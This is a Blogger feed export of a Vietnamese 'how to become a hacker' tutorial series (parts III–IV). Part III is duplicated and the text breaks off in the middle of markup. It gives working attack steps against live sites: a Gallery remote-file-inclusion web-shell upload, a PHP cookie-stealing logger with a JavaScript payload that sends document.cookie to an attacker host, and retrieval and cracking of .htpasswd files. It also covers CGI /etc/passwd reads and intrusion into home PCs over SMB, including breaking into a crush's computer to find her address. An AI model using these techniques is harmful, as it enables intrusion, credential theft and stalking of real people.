&gt;&lt;br /&gt;File:&lt;INPUT TYPE=FILE NAME=userfile SIZE=35 &gt;&lt;br /&gt;&lt;input type=hidden name=MAX_FILE_SIZE value=1000000 &gt;&lt;br /&gt;&lt;input type=hidden name=act value=upload &gt;&lt;br /&gt;&lt;input type=submit value=Upload name=sm &gt;&lt;br /&gt;&lt;br /&gt;``;&lt;br /&gt;? &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .&lt;br /&gt;_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :&lt;br /&gt;&lt;br /&gt;http:// trang Web của nạn nhân &gt; /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /&lt;br /&gt;&lt;br /&gt;Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .&lt;br /&gt;Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).&lt;br /&gt;Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :&lt;br /&gt;+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .&lt;br /&gt;+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .&lt;br /&gt;+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :&lt;br /&gt;&lt;br /&gt;/home/abc/xyz/Gallery/loveyou&lt;br /&gt;&lt;br /&gt;Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).&lt;br /&gt;Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :&lt;br /&gt;&lt;br /&gt;http:// trang Web của nạn nhân &gt; /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /&lt;br /&gt;&lt;br /&gt;Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .&lt;br /&gt;Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .&lt;br /&gt;&lt;br /&gt;( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GOODLUCK!!!!!!!!!!!!&lt;br /&gt;&lt;br /&gt;( Hết phần 4 )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-6863785086314231396?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/6863785086314231396/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=6863785086314231396' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6863785086314231396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6863785086314231396'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn-iv.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần IV)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5431726481407048100</id><published>2007-06-19T01:14:00.002-07:00</published><updated>2007-06-19T01:15:57.275-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần III)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;20.) Cookie là gì ?&lt;br /&gt;&lt;br /&gt;Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.&lt;br /&gt;&lt;br /&gt;Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .&lt;br /&gt;&lt;br /&gt;_ Cookies thường có các thành phần sau :&lt;br /&gt;&lt;br /&gt;+ Tên: do người lập trình web site chọn&lt;br /&gt;+ Domain: là tên miền từ server mà cookie được tạo và gửi đi&lt;br /&gt;+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem&lt;br /&gt;+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .&lt;br /&gt;+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.&lt;br /&gt;+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.&lt;br /&gt;&lt;br /&gt;( Tài liệu của Viethacker.net )&lt;br /&gt;&lt;br /&gt;21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :&lt;br /&gt;&lt;br /&gt;_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;define (``LINE``, ``\r\n``);&lt;br /&gt;define (``HTML_LINE``, ``&lt;br /&gt;``);&lt;br /&gt;function getvars($arr, $title)&lt;br /&gt;{&lt;br /&gt;$res = ````;&lt;br /&gt;$len = count($arr);&lt;br /&gt;if ($len &gt; 0)&lt;br /&gt;{&lt;br /&gt;if (strlen($title) &gt; 0)&lt;br /&gt;{&lt;br /&gt;print(``[--------$title--------]`` . HTML_LINE);&lt;br /&gt;$res .= ``[--------$title--------]`` . LINE;&lt;br /&gt;}&lt;br /&gt;foreach ($arr as $key = &gt; $value)&lt;br /&gt;{&lt;br /&gt;print(``[$key]`` . HTML_LINE);&lt;br /&gt;print($arr[$key] . HTML_LINE);&lt;br /&gt;$res .= ``[$key]`` . LINE . $arr[$key] . LINE;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return $res;&lt;br /&gt;}&lt;br /&gt;// get current date&lt;br /&gt;$now = date(``Y-m-d H:i:s``);&lt;br /&gt;// init&lt;br /&gt;$myData = ``[-----$now-----]`` . LINE;&lt;br /&gt;// get&lt;br /&gt;$myData .= getvars($HTTP_GET_VARS, ````);&lt;br /&gt;// file&lt;br /&gt;$file = $REMOTE_ADDR . ``.txt``;&lt;br /&gt;$mode = ``r+``;&lt;br /&gt;if (!file_exists($file))&lt;br /&gt;$mode = ``w+``;&lt;br /&gt;$fp = fopen ($file, $mode);&lt;br /&gt;fseek($fp, 0, SEEK_END);&lt;br /&gt;fwrite($fp, $myData);&lt;br /&gt;fclose($fp);&lt;br /&gt;? &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hoặc&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;if ($contents &amp;&amp; $header){&lt;br /&gt;mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or&lt;br /&gt;die(`couldnt email it`);&lt;br /&gt;sleep(2);&lt;br /&gt;? &gt;&lt;br /&gt;&lt;script language=javascript &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;} else {&lt;br /&gt;echo ``nope``;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .&lt;br /&gt;&lt;br /&gt;Bạn hãy save cái notepad này với tên “&lt; tên tuỳ các bạn &gt; .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file &lt; ip của nạn nhân &gt; .txt .&lt;br /&gt;_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;document.write(` `)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .&lt;br /&gt;và abc.php là file VD của tôi .&lt;br /&gt;_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;`)\"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hoặc:&lt;br /&gt;&lt;br /&gt;javascript: Document.write(`&amp;#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&amp;#x3e`)\"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé . &lt;br /&gt;_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm . &lt;br /&gt;&lt;br /&gt;22 . ) Cách ngắt mật khẩu bảo vệ Website : &lt;br /&gt;&lt;br /&gt;_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;Graham:F#.DG*m38d%RF &lt;br /&gt;Webmaster:GJA54j.3g9#$@f &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/pro tected/.htpasswd &lt;br /&gt;&lt;br /&gt;Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/.htpasswd&lt;/ a&gt; &lt;br /&gt;http://www.company.com/cgi-bin/.ht passwd &lt;br /&gt;http://www.company.com/cgi-bin/pas swords/.htpasswd &lt;br /&gt;http://www.company.com/cgi-bin/pas swd/.htpasswd &lt;br /&gt;&lt;br /&gt;nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé . &lt;br /&gt;Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé . &lt;br /&gt;Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả . &lt;br /&gt;&lt;br /&gt;23 . ) Tìm hiểu về CGI ? &lt;br /&gt;&lt;br /&gt;_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày . &lt;br /&gt;_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/log in.cgi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với những công việc cụ thể như : &lt;br /&gt;+ Tạo ra chương trình đếm số người đã ghé thăm . &lt;br /&gt;+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn . &lt;br /&gt;+ Quản lý user name và passwd của thành viên . &lt;br /&gt;+ Cung cấp dịch vụ Mail . &lt;br /&gt;+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên . &lt;br /&gt;+ Cung cấp những thông báo lỗi chi tiết .v.v….. &lt;br /&gt;&lt;br /&gt;24 . ) Cách hack Web cơ bản nhất thông qua CGI script : &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 1 : lỗi nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn . &lt;br /&gt;+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi &lt;br /&gt;+ Lúc đó trên URL bạn sẽ nhìn giống như thế này : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;? /* &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/* &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 2 : lỗi php.cgi &lt;br /&gt;&lt;br /&gt;+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd &lt;br /&gt;&lt;br /&gt;Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá : &lt;br /&gt;&lt;br /&gt;/cgi-bin/php.cgi?/etc/passwd] &lt;br /&gt;hoặc cgi-bin/nph-test-cgi?/etc &lt;br /&gt;&lt;br /&gt;sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé . &lt;br /&gt;&lt;br /&gt;25 . ) Kỹ thuật xâm nhập máy tính đang online : &lt;br /&gt;&lt;br /&gt;_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu : &lt;br /&gt;_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu . &lt;br /&gt;_ Vào Start == &gt; Run gõ lệnh cmd . &lt;br /&gt;_ Trong cửa sổ DOS hãy đánh lệnh “net view ” &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;+ VD : c:\net view 203.162.30.xx &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : &lt;ổ share của nạn nhân &gt; &lt;br /&gt;&lt;br /&gt;+ VD : c:\net use E : 203.162.30.xxC &lt;br /&gt;&lt;br /&gt;_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 . &lt;br /&gt;_ Nếu máy của nạn nhân không có share thì ta đánh lệnh : &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : c$ (hoặc d$)``administrator`` &lt;br /&gt;&lt;br /&gt;+ VD : net use E : 203.162.30.xxC$``administrator`` &lt;br /&gt;&lt;br /&gt;Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` . &lt;br /&gt;_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh : &lt;br /&gt;&lt;br /&gt;c:\netstat –n &lt;br /&gt;&lt;br /&gt;Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . ) &lt;br /&gt;Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy . &lt;br /&gt;&lt;br /&gt;=================================================== = &lt;br /&gt;&lt;br /&gt;Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào . &lt;br /&gt;&lt;br /&gt;=================================================== = &lt;br /&gt;&lt;br /&gt;Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v……. &lt;br /&gt;&lt;br /&gt;GOOKLUCK!!!!!!!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;20.) Cookie là gì ?&lt;br /&gt;&lt;br /&gt;Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.&lt;br /&gt;&lt;br /&gt;Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .&lt;br /&gt;&lt;br /&gt;_ Cookies thường có các thành phần sau :&lt;br /&gt;&lt;br /&gt;+ Tên: do người lập trình web site chọn&lt;br /&gt;+ Domain: là tên miền từ server mà cookie được tạo và gửi đi&lt;br /&gt;+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem&lt;br /&gt;+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .&lt;br /&gt;+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.&lt;br /&gt;+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.&lt;br /&gt;&lt;br /&gt;( Tài liệu của Viethacker.net )&lt;br /&gt;&lt;br /&gt;21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :&lt;br /&gt;&lt;br /&gt;_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;define (``LINE``, ``\r\n``);&lt;br /&gt;define (``HTML_LINE``, ``&lt;br /&gt;``);&lt;br /&gt;function getvars($arr, $title)&lt;br /&gt;{&lt;br /&gt;$res = ````;&lt;br /&gt;$len = count($arr);&lt;br /&gt;if ($len &gt; 0)&lt;br /&gt;{&lt;br /&gt;if (strlen($title) &gt; 0)&lt;br /&gt;{&lt;br /&gt;print(``[--------$title--------]`` . HTML_LINE);&lt;br /&gt;$res .= ``[--------$title--------]`` . LINE;&lt;br /&gt;}&lt;br /&gt;foreach ($arr as $key = &gt; $value)&lt;br /&gt;{&lt;br /&gt;print(``[$key]`` . HTML_LINE);&lt;br /&gt;print($arr[$key] . HTML_LINE);&lt;br /&gt;$res .= ``[$key]`` . LINE . $arr[$key] . LINE;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return $res;&lt;br /&gt;}&lt;br /&gt;// get current date&lt;br /&gt;$now = date(``Y-m-d H:i:s``);&lt;br /&gt;// init&lt;br /&gt;$myData = ``[-----$now-----]`` . LINE;&lt;br /&gt;// get&lt;br /&gt;$myData .= getvars($HTTP_GET_VARS, ````);&lt;br /&gt;// file&lt;br /&gt;$file = $REMOTE_ADDR . ``.txt``;&lt;br /&gt;$mode = ``r+``;&lt;br /&gt;if (!file_exists($file))&lt;br /&gt;$mode = ``w+``;&lt;br /&gt;$fp = fopen ($file, $mode);&lt;br /&gt;fseek($fp, 0, SEEK_END);&lt;br /&gt;fwrite($fp, $myData);&lt;br /&gt;fclose($fp);&lt;br /&gt;? &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hoặc&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;if ($contents &amp;&amp; $header){&lt;br /&gt;mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or&lt;br /&gt;die(`couldnt email it`);&lt;br /&gt;sleep(2);&lt;br /&gt;? &gt;&lt;br /&gt;&lt;script language=javascript &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;} else {&lt;br /&gt;echo ``nope``;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .&lt;br /&gt;&lt;br /&gt;Bạn hãy save cái notepad này với tên “&lt; tên tuỳ các bạn &gt; .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file &lt; ip của nạn nhân &gt; .txt .&lt;br /&gt;_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :&lt;br /&gt;&lt;br /&gt;CODE&lt;br 